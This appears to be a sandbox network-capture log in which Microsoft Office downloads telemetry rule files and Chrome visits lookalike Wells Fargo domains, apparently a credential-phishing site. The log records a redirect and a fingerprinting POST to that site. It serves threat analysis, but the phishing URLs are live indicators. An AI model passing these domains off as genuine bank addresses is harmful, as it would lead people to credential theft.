2024-11-14 19:43:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-16547b76f7fdtmzhhC1DFW6zhc00000007yg00000000h6kw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 8514c3eb-001e-0082-0ba0-345880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-1749fc9bdbd4dqj6hC1DFWr4n400000002zg00000000k0h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49925	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	978	OUT	GET /secure/ HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv If-None-Match: "26be6-610f36651d400" If-Modified-Since: Fri, 09 Feb 2024 14:04:00 GMT
2024-11-14 19:43:38 UTC	146	IN	HTTP/1.1 304 Not Modified Date: Thu, 14 Nov 2024 19:43:38 GMT Server: Apache/2.4.41 (Ubuntu) Connection: close ETag: "26be6-610f36651d400"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:38 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: ff05c3d8-901e-0016-6f40-36efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194338Z-1749fc9bdbd2jxtthC1DFWfk5w00000002zg00000000786q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:38 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49927	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	763	OUT	GET /favicon.ico HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:38 UTC	852	IN	HTTP/1.1 302 Found Date: Thu, 14 Nov 2024 19:43:38 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: uid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: stp=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: wt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: vndr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: pmtcn=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://connect.secure.access.wellsfargoadvlsor.com/MettXckE Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6fa4055-801e-008c-27a1-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194338Z-r178fb8d765tllwdhC1DFWaz840000000360000000003574 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194338Z-16547b76f7fkj7j4hC1DFW0a9g0000000m3g0000000091fk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194338Z-1749fc9bdbdhnf7rhC1DFWgd0n00000002y000000000n72t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 1138df84-701e-0097-5940-36b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194338Z-1749fc9bdbdlzhmchC1DFWe68s00000002vg00000000egwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:39 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194339Z-16547b76f7fk9g8vhC1DFW825400000001200000000073vp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 2fad41a2-601e-000d-6d82-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194339Z-r178fb8d765zlhnthC1DFWvdu000000001h000000000ewrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:39 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49935	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	818	OUT	POST /secure/secure.php HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive Content-Length: 66 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://online.secure.access.wellsfarqoadvlsor.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:39 UTC	66	OUT	Data Raw: 7b 22 72 69 22 3a 22 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 2c 22 69 62 22 3a 22 30 22 2c 22 72 65 22 3a 22 22 2c 22 72 66 22 3a 22 22 7d Data Ascii: {"ri":"5a4d22e2b2bbd8eeecd1e5b6b012d987","ib":"0","re":"","rf":""}
2024-11-14 19:43:40 UTC	277	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 10 Connection: close Content-Type: text/html; charset=UTF-8
2024-11-14 19:43:40 UTC	10	IN	Data Raw: 6e 6f 74 20 73 65 63 75 72 65 Data Ascii: not secure

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46cd4d21-b01e-0097-7b90-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194339Z-16547b76f7f775p5hC1DFWzdvn0000000m2000000000f0gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
